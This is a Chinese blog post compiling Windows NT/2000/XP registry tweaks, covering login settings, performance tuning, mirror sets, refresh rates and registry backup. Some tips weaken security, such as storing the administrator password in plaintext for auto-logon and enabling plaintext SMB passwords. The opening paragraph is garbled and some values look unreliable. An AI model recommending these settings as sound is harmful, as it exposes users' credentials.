      通常情况下,用户在进入WINNT网络之前必须输入自己的用户名称以及口令。但是当你重新启动计算机,登录WINNT时,WINNT会在缺省情况下将上一次访问者的用户名自动显示在登录窗口的“用户名”文本框中。这样一来,有些非法用户可能利用现有的用户名来猜测其口令,一旦猜中的话,将会对整个计算机系统产生极大的安全隐患。为了保证系统不存在任何安全隐患,我们可以通过修改WINNT注册表的方法来也提供了启动时自动以某一个组的用户名称和口令进行访问WINNT,而不需要通过人工设置的方法来自动清除登录窗口中上次访问者的用户名信息。要实现自动清除功能,必须要进行如下配置:  A、在开始菜单栏中选择运行命令,在随后打开的运行对话框里输入REGEDIT命令,从而打开注册表编辑器。
      B、在打开的注册表编辑器中,依次展开以下的键值:  [HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWS NTCURRENTVERSIONWINLOGON]
      C、在编辑器右边的列表框中,选择“DONTDISPLAYLASTUSERNAME”键值名称,如果没有上面的键值,可以利用“编辑”菜单中的“新建”键值命令添加一个,并选择所建数据类型为“REG_SZ”。
      D、选择指定的键值并双击,当出现“字符串编辑器”对话框时,在“字符串”文本框中输入“1”,其中“1”代表起用该功能,“0”代表禁止该功能。
      E、当用户重新启动计算机登录WINNT时,NT登录对话框中的“用户名”文本框中将是空白的。
    2、为一些非SCSI接口光驱进行手工配置
      如果你想在WINNT上安装一个非SCSI接口的光驱,在WINNT版本较高的计算机中这中类型的光驱可能被自动识别并自动由计算机来完成其安装任务,不巧的是,你的计算机中安装了一个低版本的操作系统,例如安装了WINNT3.5,还没有时间来升级,但现在就着急用光驱呢,那该怎么办才好呢?不急,虽然Windows NT3.5不能自动识别非SCSI接口的光驱,但我们可以通过手工安装的方式来帮你轻松搞定这个小问题,具体工作步骤为:
      A、首先必须将你手中的对应的非SCSI接口的CD-ROM驱动程序从安装盘拷贝到WINNTSYSTEM32DRIV ERS目录下。
      B、在WINNT主群组中打开Setup图标。
      C、从OPTION菜单中选择“Add/Remove SCSI Adapters”。  D、用鼠标单击ADD按钮,为你的非SCSI接口CD-ROM选择对应的驱动程序。
      E、接着单击“INSTALL”按钮进行一些相关参数的配置。  F、退出Windows NT,重新启动计算机后光驱就会有用了。
    3、增加NTFS性能
      如果用户想增加NTFS的性能,也可以通过修改注册表的方法来达到目的,具体实现步骤如下:
      A、打开注册表编辑器,并在编辑器中依次展开以下键值:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlFileSystem
      B、在注册表编辑器中用鼠标单击“编辑”菜单,并在下拉菜单中选择“新建”菜单项,并在其弹出的子菜单中单击“DWORD值”。
      C、 在编辑器右边的列表中输入DWORD值的名称为“NtfsDisableLastAccessUpdate”。
      D、 接着用鼠标双击NtfsDisableLastAccessUpdate键值,编辑器就会弹出一个名为“字符串编辑器”的对话框,在该对话框的文本栏中输入数值“1”,其中0代表“取消”该项功能,1代表“启用”该项功能。
      E、设置好后,重新启动计算机就会使上述功能有效。
    4、修复镜像组
      A、当镜像磁盘组中的驱动器发生故障时,系统自动向其余的驱动器发出发送数据请求,留下工作驱动器单独运行。此时,用户需要进入Disk Administrator,选择镜像组,再选择FaultTolerance/Break Mirror,将镜像组分为两个独立部分。
      B、工作的驱动器得到磁盘组所用的驱动器盘符,故障驱动器得到系统的下一个有效盘符。关闭NT Server,更换一个相同型号的硬盘驱动器。
      C、重新启动NT Server,运行Disk Administor,在新驱动器上选择分区和未用空间,选择Fault Tolerance/Establish Mirror即可对新驱动器作镜像。
    5、自定义启动信息
      每次当WINNT启动时,它都会显示“请按CTRL+ALT+DELETE键来登录”的信息,而如果你希望用户在按完CTRL+ALT+DELETE键后,画面上自动显示用户自己希望所看到的信息,可以通过如下的相关设置来进行:
      A、在开始菜单栏中选择运行命令,在随后打开的运行对话框里输入REGEDIT命令,从而打开注册表编辑器。
      B、在打开的注册表编辑器中,依次展开以下的键值:  [HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWS NTCURRENTVERSIONWINLOGON]
      C、在编辑器右边的列表框中,选择“LEGALNOTICECAPTION”键值名称,如果没有上面的键值,可以利用“编辑”菜单中的“新建”键值命令添加一个,并选择所建数据类型为“REG_SZ”。
      D、选择指定的键值并双击,当出现“字符串编辑器”对话框时,在“字符串”文本框中输入用户希望看到的信息窗口的标题内容,例如输入“WINNT网络”。
      E、接着在下面一个“字符串”文本框中输入信息窗口要显示的具体内容,例如输入“欢迎使用WINNT网络”。
      F、重新启动计算机后,再次登录进WINNT网络时,用户将会看到自己在上面设置的内容。

    6、加速文件管理系统缓存
      大家知道计算机的速度有很大一部分与内存相关,如果内存容量大一点,计算机运行速度就会相应快一点。但是假设在内存一定的情况下,如何来提高计算机的运行速度呢?这就是我们下面通过注册表设置要实现的内容,具体步骤如下:
      A、在开始菜单栏中选择运行命令,在随后打开的运行对话框里输入REGEDIT命令,从而打开注册表编辑器。
      B、在打开的注册表编辑器中,依次展开以下的键值:  [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory Management]。
      C、在编辑器右边的列表框中,选择“IoPageLockLimit”键值名称,如果没有上面的键值,可以利用“编辑”菜单中的“新建”键值命令添加一个,并选择所建数据类型为“DWORD”。
      D、选择指定的键值并双击,当出现“字符串编辑器”对话框时,在“字符串”文本框中输入用户需要的数值,系统默认缓存为512K,其他的参考值如下:
      RAM (MB) IoPageLockLimit  32  4096000  64  8192000  128  16384000  256+  65536000
      E、当用户重新启动计算机登录WINNT时,文件管理系统缓存将得到改善。
    7、增加“关闭系统”按钮
      在NT计算机中,“关闭系统”按钮作为缺省值在登陆对话框中提供,这个任务按钮允许用户不必先登陆即可关闭系统。在NT SERVER中虽然没有这个功能,但可以通过修改注册表,使系统在登陆对话框中增加一个“关闭系统”的按钮,具体操作方法如下:  
    A、打开注册表编辑器,并在编辑器中依次展开以下键值:  [HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWS NTCURRENTVERSIONWINLOGON]。
      B、在编辑器右边的列表中用鼠标选择“SHUTDOWNWITHOUTLOGON”键值。
      C、接着用鼠标双击“SHUTDOWNWITHOUTLOGON”键值,编辑器就会弹出一个名为“字符串编辑器”的对话框,在该对话框的文本栏中输入数值“1”,其中0代表取消“关闭系统”按钮,1代表增加“关闭系统”按钮。
      D、退出后重新登录,在登录的界面中会增加一个“关闭系统”的按钮。
    8、在NT下创建一个镜像集
      A、先用Disk Administerator创建镜像集的第一个分区表,选中该分区,在另一个磁盘驱动器内的磁盘空间的未用区域上进行Ctrl+鼠标单击操作,以把未用的磁盘区域和第一个分区均选上。
      B、从Disk Ad ministor的Fault Tolerlance(容错)菜单中选中Establish Mirror(建立镜像 ),Disk Administor将在被选自由盘区外创建一个磁盘分区。该分区与原有分区一样大,并包含原分区表上所有数据的备份。
      C、如果要取消镜像集(并非删除镜像集),即仅仅停止两个分区之间的数据复制,只需从Disk Administor中选择Fault Tolerance/Break Mirror。
    9、登录局域网超时自动断开
      在登录Windows NT网络时,有可能用户不小心输错了登录参数或其他原因,导致了登录网络可能需要花费好长时间,这种情况是我们不想看到的。为了解决这种问题,我们可以通过注册表,来配置为闲置超时断开,以分钟为单位,具体步骤为:
      A、打开注册表编辑器,并在编辑器中依次展开以下键值:  [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]
      B、在编辑器右边的列表中用鼠标选择“AUTODISCONNECT”键值。
      C、接着用鼠标双击“AUTODISCONNECT”键值,编辑器就会弹出一个名为“字符串编辑器”的对话框,在该对话框的文本栏中输入数值“1”,其中0代表取消自动断开功能,1代表使用自动断开功能。
      D、退出后重新登录网络,上述功能就会生效。
    10、改变远程访问服务的缺省端口传输速度
      Windows NT远程访问服务为每个RAS串行端口设置两种BPS速度:载波BPS与联接BPS速度,前者是指两个Modem通过电话线传输数据的速度,后者则指Modem与主机串口间的数据传输速度;当远程服务被启动时,计算机首先将其联接BPS速度值存放于System RootSystem32RASModem.INF文件中,以MAXC ARRIERBPS参数形式存放,然后将该值保存在RASSERIAL.INF文件中,以后每次进行传输时对串口作初始化,只需改变SERIAL.INI文件,即可改变串口传输速度,具体操作方法如下:
      A、将SERIAL.INI文件用编辑器打开。
      B、将INITIALBPS参数改为自己所希望的数值。
      C、将上述改动保存成一个文件,文件名仍为SERIAL.INI。
      D、打开“开始”菜单,并单击“运行”命令,在运行栏中输入RasAdmin命令。
      E、从服务器菜单中选择“Stop Remote Access Service”,再选择“Start Remote Access Service”,上述设置就会生效。 自动检测慢网登陆
      上面我们曾经说过,在登录NT网络时有可能很慢。同样地,如果Windows NT检测速度有困难,可以取消。具体实现步骤为:
      A、打开注册表编辑器,并在编辑器中依次展开以下键值:
     [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]
      B、在编辑器右边的列表中用鼠标选择“SlowLinkDetectEnabled”键值,如果没有该键值,必须新建一个DWORD值,名称设置为“SlowLinkDetectEnabled”。
      C、接着用鼠标双击“SlowLinkDetectEnabled”键值,编辑器就会弹出一个名为“字符串编辑器”的对话框,在该对话框的文本栏中输入数值“1”,其中0代表取消自动检测慢网登陆功能,1代表使用自动检测慢网登陆功能。
      D、退出后重新登录网络,上述设置就会起作用。

    12、加快网络传输速度
      对于拨号用户来说,时间就是金钱,怎样才能节约时间,节省金钱呢?回答是提高网络传输速度。那又如何提高网络传输速度呢?大家知道,网络速度主要是受网络带宽限制的。增加带宽不是拨号用户所能做到的,他们唯一能做的就是把调制解调器的传输速度能够再提高一点。其实拨号用户还可以从计算机本身运行速度出发,尽量能挖掘计算机在网络加速方面最大的潜能。下面我们就通过一些设置来尽量加快网络传输速度,具体设置如下:
      A、在开始菜单栏中选择运行命令,在随后打开的运行对话框里输入REGEDIT命令,从而打开注册表编辑器。
      B、在打开的注册表编辑器中,依次展开以下的键值:  [HKEY_LOCAL_MACHINESystemCurrent Control SetServicesClassNetTrans00n ],其中n表示个别拔号网络连接项号码。
      C、在编辑器右边的列表框中,选择“MaxMTU”键值名称,如果没有上面的键值,可以利用“编辑”菜单中的“新建”键值命令添加一个,并选择所建数据类型为“DWORD”值。
      D、选择指定的键值并双击,当出现“字符串编辑器”对话框时,在“字符串”文本框中输入“576”,576代表最大传输单元值。
      E、接着在编辑器菜单栏中依次选择“编辑”→“新增”→“字符串值”,右边列表窗口就会多出一个新字符串,把它 命名为“MaxSSS”,再双按这个字符串值并把它设定为“536”。
      F、重新返回到编辑器的主操作界面,并依次展开如下键值: [HKEY_LOCAL_MACHINESystemCurrent Control SetServicesVxDMSTCP]。
      G、按照上述同样的操作方法,在编辑器右边的列表中依次添加字符串值“DefaultRcvWindow”、 “DefaultTTL”,并且把它们的数值分别设置为“2144”,“64”。
      H、当用户重新启动计算机登录WINNT时,上述所有的设置将会生效,这样计算机将会发挥它在网络加速方面最大的能量。

    13、自动登陆网络
      通常情况下,用户在进入WINNT网络之前必须输入自己的用户名称以及口令。但是WINNT也提供了启动时自动以某一个组的用户名称和口令进行访问WINNT,而不需要通过人工设置的方法来输入登陆网络的参数。要实现自动登陆功能,必须要进行如下配置:
      A、打开注册表编辑器,并在编辑器中依次展开以下键值:
     [HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWS NTCURRENT VERSIONWINLOGON]
      B、用鼠标单击右边的“AUTOADMINLOGON”键值名称,编辑器就会弹出一个名为“字符串编辑器”的对话框,在该对话框的文本栏中输入数值“1”。
      C、接着再用鼠标选择右边的“DEFAULTDOMAINNAME”键值名称,并在随后弹出的文本栏中输入所要登陆的域名名称或所要访问的计算机名称,例如输入“DOMAIN”域或“COM”计算机名称,然后单击“确定”按钮。
      D、按照同样的操作方法,选择右面的“DEFAULTUSERNAME”键值名称,并在“字符串”文本框中输入登陆网络的用户名称,例如输入管理员名称“ADMINISTRATOR”,并单击“确定”按钮。
      E、最后在注册表编辑器中,用鼠标单击“编辑”菜单并在下拉菜单中选择“新建键值”命令,然后在注册表右边的列表中,输入键值名称为“DEFAULTPASSWORD”,键值类型为“REG_SZ”,接着单击“确定”按钮。
      F、 用鼠标双击“DEFAULTPASSWORD”键值,在弹出的对话框中输入用户的密码,在这里我们输入系统管理员的口令作为登陆网络的密码,输入完成后单击“确定”按钮结束设置工作。
      G、 让计算机重新启动,缺省设置的用户将会自动登陆到指定的网络中去。
      如果用户日后不再需要自动登陆功能时,只需要把“AUTOADMINLOGON”的键值改为数值“0”即可。
    14、禁止光盘的自动运行功能
      大家都很清楚每当光盘放到计算机中时,WINNT就会执行自动运行功能,光盘中的应用程序就会被自动运行,而我们在实际工作中有时不需要这项功能,那么如何屏蔽该功能呢。此时,我们同样可以修改注册表使此功能失效,具体做法如下:
      A、打开注册表编辑器,并在编辑器中依次展开以下键值:  [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesCdrom] 。
      B、在编辑器右边的列表中用鼠标选择“AUTORUN”键值。
      C、接着用鼠标双击“AUTORUN”键值,编辑器就会弹出一个名为“字符串编辑器”的对话框,在该对话框的文本栏中输入数值“0”,其中0代表“禁用”光盘的自动运行功能,1代表“启用”光盘的自动运行功能。
      D、设置好后,重新启动计算机就会使上述功能有效。
    15、取消系统检测串口,提高NT系统启动速度
      计算机每次启动都会对计算机的硬件要重新检测一遍,这需要花费一定的时间,也因此就减慢了计算机的启动速度。在这里笔者向大家介绍一下通过一些设置来取消系统检测串口,从而达到提高NT系统启动速度的目的,具体步骤如下:
      A、在开始菜单中,用查找的方法将Boot.INI文件找出来,然后将该文件的“只读”属性屏蔽掉,以便于我们在其中进行一些相关改动。
      B、接着用一个文本编辑器将Boot.INI文件打开,并修改[operating system]段的内容,将其中每一行后加上NoserialMice参数,如下所示:
      修改Boot.INI文件,
      ……
      [operating system]
      multi(0) disk(0) rdisk(0)
      partition(1)WINNT40="Windows NT
      Workstation Version4.0"/NoSerialMice  ……
      C、把上述修改的内容保存起来,文件名仍为Boot.INI。
      D、退出Windows NT,重新启动计算机后上述配置就会生效。

    XP六条未公开的秘技
    支持137 GB以上大硬盘

      想要使用137 GB以上大硬盘,必须使用48位LBA模式。首先你的主板BIOS必须支持48Bit LBA,其次WinXP 家用版和专业版必须安装SP1补丁。然后打开注册表,在如下路径“HKEY_LOCAL_MACHINE System CurrentControlSet Services Atapi Parameter”找到“EnableBigLba”选项,将其值由“0”改为“1”。如果该项不存在,可以自建“DWORD值”项目,同样设置.最后重新启动即可.

    删除共享文档

      如果你不需要共享文件,可以这样移除它:进入HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows CurrentVersion Explorer My computer Namespace DelegateFolders,删除键值“”。

    锁定桌面

      想要锁定桌面不被别人肆意修改,可以使用很多工具例如TweakUI,不过其实在注册表里进行小小的改动即可实现:进入HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion Policies Explorer,建立DWORD值“NoDesktop”,将其值修改为“1”即可。

    停用“上次访问时间标记(Last Access Time Stamp)”

      不想要这项功能,可以这样修改:进入HKEY_LOCAL_MACHINE SYSTEM CurrentControlSet Control File system,新建DWORD值“NtfsDisableLastAccessUpdate”,将其值修改为“1”即可。

    设置“远程访问连接服务器(RAS)”

      需要的话可以这样修改:进入HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows NT CurrentVersion Winlogon,新建字符串值“KeepRasConnections”,将其值修改为“1”即可。

    使用明文密码(Lain Text Password)

      访问UNIX或者LINUX服务器的时候,有时需要明文密码这在XP下很容易实现:找到“HKEY_LOCAL_MACHINE SYSTEM CurrentControlSet Services lanmanworkstation parameter enableplaintextpassword”并将其值设置为“1”即可

    控制面板
    在Windows 2000的控制面板中有1 9个标准的应用小程序( a p p l e t ),每一个应用小程序都有
    影响注册表条目的能力(具有添加硬件和安装软件功能的系统还包括另外一些应用小程序);
    添加/删除硬件系统H K E Y _ L O C A L _ M A C H I N E H A R D WA R E
    添加/删除程序系统H K E Y _ L O C A L _ M A C H I N E S O F T WA R E
    管理工具系统H K E Y _ L O C A L _ M A C H I N E S O F T WA R E
    日期/时间系统H K E Y _ L O C A L _ M A C H I N E S O F T WA R E
    显示系统和用户H K E Y _ L O C A L _ M A C H I N E S Y S T E M和HKEY _
    CURRENT _ USER
    文件夹选项系统H K E Y _ L O C A L _ M A C H I N E S O F T WA R E
    字体系统H K E Y _ L O C A L _ M A C H I N E S O F T WA R E
    I n t e r n e t选项系统H K E Y _ L O C A L _ M A C H I N E S O F T WA R E
    键盘系统和用户H K E Y _ L O C A L _ M A C H I N E S O F T WA R E和HKEY _
    CURRENT _ USER
    鼠标系统和用户H K E Y _ L O C A L _ M A C H I N E S O F T WA R E和HKEY _
    C U R R E N T _ U S E R
    网络和拨号连接系统H K E Y _ L O C A L _ M A C H I N E S O F T WA R E
    电话和调制解调器选项系统H K E Y _ L O C A L _ M A C H I N E S Y S T E M
    电源选项系统H K E Y _ L O C A L _ M A C H I N E H A R D WA R E
    打印机系统H K E Y _ L O C A L _ M A C H I N E S Y S T E M
    区域设置系统H K E Y _ L O C A L _ M A C H I N E S Y ST E M
    任务计划系统H K E Y _ L O C A L _ M A C H I N E S O FT WA R E
    声音和多媒体系统和用户H K E Y _ L O C A L _ M A C H I N E S O F T WA R E和HKEY _C U R R E N T _ U S E R
    系统系统和用户H K E Y _ L O C A L _ M A C H I N E S OF T WA R E,HKEY _
    L O C A L _ M A C H I N E S Y S T E M和HKEY_CURRENT_USER

    以前,对于在Windows 2000或Windows XP上玩CS的人来说,是否开显卡的垂直同步是个两难的选择。不开垂直同步可以得到更高的FPS,但画面老是抖动,打时间长了眼睛很累;开了垂直同步,FPS就肯定超不过60。但我相信还有很多朋友不知道该怎么办,因此把解决办法公布,希望能对大家有所帮助。

    在Window 2000或XP下,开垂直同步后FPS超不过60的原因是:Window 2000或XP在这种情况下会把游戏中的FPS设定为Windows的缺省值60,再好的配置也没用。

    解决这个问题的办法很多,可以用第三方程序如PowerStrip等,但这种办法需要外挂程序,可能不安全。最近,我终于找到最根本的解决办法,就是在直接在注册表里把Windows的缺省值改成100(或更高,只要你的显示器支持就可以)。请千万注意:在修改注册表前,一定要确认你的显示器在不同的分辨率下所支持的最高刷新频率。比如,我的电脑在1024*768的分辨率下能达到100Hz的刷新频率,我玩CS也是在这个分辨率下玩,所以,我才敢把Windows的缺省值设为100。另外也请注意,这样修改完注册表后,你电脑桌面的分辨率和刷新频率也会被限定为这个数值。

    修改注册表的方法如下:

    Open regedit and find this key:
    运行regedit命令进入注册表修改界面;
    进入[HKEY_LOCAL_MACHINEsystemCurentControlSetControlClass],打开"Class"键,你将看到一大排的键,类似于

    {4D36E96E-E325-11CE....}

    如果你选中其中一个键你将可以看到一些键值,如"Default"、"Class"等,并指明设备的种类,如"Modem", "Keyboards"等,逐个打开这些{4D36E96E-E325-11CE....}键,直到看到"Class"的键值是"Monitor"。好的,我们已经找到控制显示器的注册信息了,接下来就是在这里面该缺省值了。

    打开你刚找到的那个键,里面至少应该有1个键,叫做"0000",这里也可能有其他的键,如"0001"、"0002"等。如果里面只有个"0000",那就简单了,你直接在"0000"里按下面的方法修改就可以了。如果有多个键,你就必须逐个找出来哪个键是控制你的显示器的,方法是逐个键地按照下面说的“修改缺省值的操作”进行修改,修改后立即用下面说的“检查缺省值是否修改”的方法检查,如果相符就说明这个键是控制你显示器的,否则就不是。

    “修改缺省值的操作”方法:

    打开"0000"或你找到的其他的键,你可以看到里面有个"MODES"键,打开它你将看到一个键显示的是你的显示器的最大分辨率,如"1600,1200",现在假设你要在1024*768的分辨率下达到100Hz的刷新率,那么操作如下:在"MODES"下增加一个键叫做"1024,768",在"1024,768"键里增加一个键叫做"Mode1",键值设为"100-100,100-100"。修改缺省值得操作完毕。

    “检查缺省值是否修改”的方法:

    进入"Display properties -> Setting",看分辨率是否为你设定的值,如果不是那么说明你修改的那个类似于"0000"的键不是现在控制你显示器的键,,如果分辨率是你设定的值(如1024*768),那么再进"Advanced -> Monitor"里面看显示器的刷新频率是不是也是你设定的值,如果是,选中"Hide all unsupported modes"后你的刷新频率应该只有一个值可以选择,就是你设定的值(如100Hz)。这说明你修改得正确。

    总结:

    修改后,你进入游戏后无论游戏是用Direct3D还是OpenGL,你的FPS都可以超过60了。这个修改方法对Windows 2000和Windows XP都有效

    posted @ 2007-09-13 18:53 jadmin 阅读(78) | 评论 (0)编辑 收藏
    注册表对有的人还是比较陌生的,因为现在第三方软件太多了,如优化大师、魔法兔子等等,但个人觉得改善系统的第三方软件还不够完善,如果初级用户使用不当,会出现严重的后果,所以提供这篇文章,希望大家多多学习,本人能力有限,还希望大家多提宝贵意见:
    一、注册表的由来
    PC机及其操作系统的一个特点就是允许用户按照自己的要求对计算机系统的硬件和软件进行各种各样的配置。早期的图形操作系统,如Win3.x中,对软硬件工作环境的配置是通过对扩展名为.ini的文件进行修改来完成的,但INI文件管理起来很不方便,因为每种设备或应用程序都得有自己的INI文件,并且在网络上难以实现远程访问。

    为了克服上述这些问题,在Windows 95及其后继版本中,采用了一种叫做“注册表”的数据库来统一进行管理,将各种信息资源集中起来并存储各种配置信息。按照这一原则,Windows各版本中都采用了将应用程序和计算机系统全部配置信息容纳在一起的注册表,用来管理应用程序和文件的关联、硬件设备说明、状态属性以及各种状态信息和数据等。

    与INI文件不同的是:
    1.注册表采用了二进制形式登录数据;
    2.注册表支持子键,各级子关键字都有自己的“键值”;
    3.注册表中的键值项可以包含可执行代码,而不是简单的字串;
    4.在同一台计算机上,注册表可以存储多个用户的特性。

    注册表的特点有:
    1.注册表允许对硬件、系统参数、应用程序和设备驱动程序进行跟踪配置,这使得修改某些设置后不用重新启动成为可能。
    2.注册表中登录的硬件部分数据可以支持高版本Windows的即插即用特性。当Windows检测到机器上的新设备时,就把有关数据保存到注册表中,另外,还可以避免新设备与原有设备之间的资源冲突。
    3.管理人员和用户通过注册表可以在网络上检查系统的配置和设置,使得远程管理得以实现。

    二、使用注册表
    1.大家可以在开始菜单中的运行里输入regedit
    2.也可以在DOS下输入regedit


    三、注册表根键说明
    hkey_classes_root 包含注册的所有OLE信息和文档类型,是从 hkey_local_machinesoftwareclasses复制的。
    hkey_current_user 包含登录的用户配置信息,是从hkey_users当前用户子树复制的。
    hkey_local_machine 包含本机的配置信息。其中config子树是显示器打印机信息; enum子树是即插即用设备信息;system子树是设备驱动程序和服务参数的控制集合;software子树是应用程序专用设置。
    hkey_users 所有登录用户信息。
    hkey_current_config 包含常被用户改变的部分硬件软件配置,如字体设置、显示器类型、打印机设置等。是从hkey_local_machineconfig复制的。
    hkey_dyn_data 包含现在计算机内存中保存的系统信息。

    四、注册表详细内容
      Hkey_local_machinesoftwaremicrosoftwindowscurrentVersionexploreruser shell folders 保存个人文件夹、收藏夹的路径
      Hkey_local_machinesystemcurrentControlSetcontrolkeyboard Layouts保存键盘使用的语言以及各种中文输入法
    Hkey_users.Defaultsoftwaremicrosoftinternet explorertypeURLs保存IE浏览器地址栏中输入的URL地址列表信息。清除文档菜单时将被清空。
      Hkey_users.Defaultso..mi..wi..currentVersionex..menuOrderstartMenu 保留程序菜单排序信息
    Hkey_users.Defaultso..microsoftwindowscurrentVersionexplorerRunMRU 保存“开始 * 运行...“中运行的程序列表信息。清除文档菜单时将被清空。
      Hkey_users.Defaultso..microsoftwindowscurrentVersionexplorerecentDocs 保存最近使用的十五个文档的快捷方式(删除掉可解决文档名称重复的毛病),清除文档菜单时将被清空。
      Hkey_local_machinesoftwaremicrosoftwindowscurrentVersionuninstall 保存已安装的Windows应用程序卸载信息。
    hkey_users.defaultsoftwaremicrosoftwindowscurrentVersionapplets 保存Windows应用程序的纪录数据。
    Hkey_local_machinesystemCurrentControlSetservicesclass 保存控制面板-增添硬件设备-设备类型目录。
      Hkey_local_machinesystemCurrentControlSetcontrolupdate 立即刷新设置。值为00设置为自动刷新,01设置为手工刷新[在资源管理器中按F5刷新]。
    HKEY_CURRENT_USERControl PanelDesktop 新建串值名MenuShowDelay=0 可使“开始”菜单中子菜单的弹出速度提高。新建串值名MinAnimate,值为1启动动画效果开关窗口,值为0取消动画效果。
      Hkey_local_machinesoftwaremicrosoftwindowscurrentVersionrun 保存由控制面板设定的计算机启动时运行程序的名称,其图标显示在任务条右边。[启动文件夹程序运行时图标也在任务条右边]
    hkey_users.defaultsoftwaremicrosoftwindowscurrentVersionrun保存由用户设定的计算机启动时运行程序的名称,其图标显示在任务条右侧。
    HKEY_CLASS_ROOT/Paint.Pricture/DefaultIcon 默认图片的图标。双击窗口右侧的字符串,在打开的对话框中删除原来的键值,输入%1。重新启动后,在“我的电脑”中打开Windows目录,选择“大图标“,然后你看到的Bmp文件的图标再也不是千篇一律的画板图标了,而是每个Bmp文件的略图。
      Hkey-local-machine software microsoft windows currentVersion Policies Ratings 保存IE4.0中文版“安全”*“分级审查”中设置的口令(数据加密)。
      Hkey-local-machine software microsoft windows currentVersion explorer desktopnameSpace保存桌面中特殊的图标,如回收站、收件箱、MS Network等。

    五、如何备份注册表
    利用注册表编辑器手工备份注册表

      注册表编辑器(Regedit)是操作系统自带的一款注册表工具,通过它就能对注册表进行各种修改。当然,"备份"与"恢复"注册表自然是它的本能了。

    (1)通过注册表编辑器备份注册表
      由于修改注册表有时会危及系统的安全,因此不管是WINDOWS 98还是WINDOWS 2000甚至WINDOWS XP,都把注册表编辑器"藏"在了一个非常隐蔽的地方,要想"请"它出山,必须通过特殊的手段才行。点击"开始"菜单,选择菜单上的"运行"选项,在弹出的"运行"窗口中输入"Regedit"后,点击"确定"按钮,这样就启动了注册表编辑器。

      点击注册表编辑器的"注册表"菜单,再点击"导出注册表文件"选项,在弹出的对话框中输入文件名"regedit",将"保存类型"选为"注册表文件",再将"导出范围"设置为"全部",接下来选择文件存储位置,最后点击"保存"按钮,就可将系统的注册表保存到硬盘上。

      完成上述步骤后,找到刚才保存备份文件的那个文件夹,就会发现备份好的文件已经放在文件夹中了。

    (2)在DOS下备份注册表

      当注册表损坏后,WINDOWS(包括"安全模式")无法进入,此时该怎么办呢?在纯DOS环境下进行注册表的备份、恢复是另外一种补救措施,下面来看看在DOS环境下,怎样来备份、恢复注册表。

      在纯DOS下通过注册表编辑器备份与恢复注册表前面已经讲解了利用注册表编辑器在WINDOWS环境下备份、恢复注册表,其实"Regedit.exe"这个注册表编辑器不仅能在WINDOWS环境中运行,也能在DOS下使用。

      虽然在DOS环境中的注册表编辑器的功能没有在WINDOWS环境中那么强大,但是也有它的独到之处。比如说通过注册表编辑器在WINDOWS中备份了注册表,可系统出了问题之后,无法进入WINDOWS,此时就可以在纯DOS下通过注册表编辑器来恢复注册表。

      应该说在DOS环境中备份注册表的情况还是不多见的,一般在WINDOWS中备份就行了,不过在一些特殊的情况下,这种方式就显得很实用了。

      进入DOS后,再进入C盘的WINDOWS目录,在该目录的提示符下输入"regedit"后按回车键,便能查看"regedit"的使用参数。

      通过"Regedit"备份注册表仍然需要用到"system.dat"和"user.dat"这两个文件,而该程序的具体命令格式是这样的:
      Regedit /L:system /R:user /E filename.reg Regpath
    参数含义:
    /L:system指定System.dat文件所在的路径。
    /R:user指定User.dat文件所在的路径。
    /E:此参数指定注册表编辑器要进行导出注册表操作,在此参数后面空一格,输入导出注册表的文件名。
    Regpath:用来指定要导出哪个注册表的分支,如果不指定,则将导出全部注册表分支。在这些参数中,"/L:system"和"/R:user"参数是可选项,如果不使用这两个参数,注册表编辑器则认为是对WINDOWS目录下的"system.dat"和"user.dat"文件进行操作。如果是通过从软盘启动并进入DOS,那么就必须使用"/L"和"/R"参数来指定"system.dat"和"user.dat"文件的具体路径,否则注册表编辑器将无法找到它们。

      比如说,如果通过启动盘进入DOS,则备份注册表的命令是"Regedit /L:C:windows/R:C:windows/e regedit.reg",该命令的意思是把整个注册表备份到WINDOWS目录下,其文件名为"regedit.reg"。而如果输入的是"regedit /E D:regedit.reg"这条命令,则是说把整个注册表备份到D盘的根目录下(省略了"/L"和"/R"参数),其文件名为"Regedit.reg"。

    (3)用注册表检查器备份注册表
      在DOS环境下的注册表检查器Scanreg.exe可以用来备份注册表。

    命令格式为:
    Scanreg /backup /restore /comment

    参数解释:
    /backup用来立即备份注册表
    /restore按照备份的时间以及日期显示所有的备份文件
    /comment在/restore中显示同备份文件有关的部分

    注意:在显示备份的注册表文件时,压缩备份的文件以.CAB文件列出,CAB文件的后面单词是Started或者是NotStarted,Started表示这个文件能够成功启动Windows,是一个完好的备份文件,NotStarted表示文件没有被用来启动Windows,因此还不能够知道是否是一个完好备份。

    比如:如果我们要查看所有的备份文件及同备份有关的部分,命令如下:Scanreg /restore /comment

    六、使用技巧
    上面介绍的都是概念上的东东,下面让我们实际操作吧
    1.加快开机及关机速度

      在[开始]#>[运行]#>键入[Regedit]#>[HKEY_CURRENT_USER]#>[Control Panel]#>[Desktop],将字符串值[HungAppTimeout]的数值数据更改为[200],将字符串值[WaitToKillAppTimeout]的数值数据更改为1000.另外在[HKEY_LOCAL_MACHINE]#>[System]#>[CurrentControlSet]#>[Control],将字符串值[HungAppTimeout]的数值数据更改为[200],将字符串值[WaitToKillServiceTimeout]的数值数据更改1000

    2.自动关闭停止响应程序

      在[开始]#>[运行]#>键入[Regedit]#>[HKEY_CURRENT_USER]#>[Control Panel]#>[Desktop],将字符串值[AutoEndTasks]的数值数据更改为1,重新启动即可

    3.清除内存内被不使用的DLL文件

      在[开始]#>[运行]#>键入[Regedit]#>[HKKEY_LOCAL_MACHINE]#>[SOFTWARE]#>[Microsoft]#>[Windows]#>[CurrentVersion],在[Explorer]增加一个项[AlwaysUnloadDLL],默认值设为1。注:如由默认值设定为[0]则代表停用此功能

    4.加快菜单显示速度

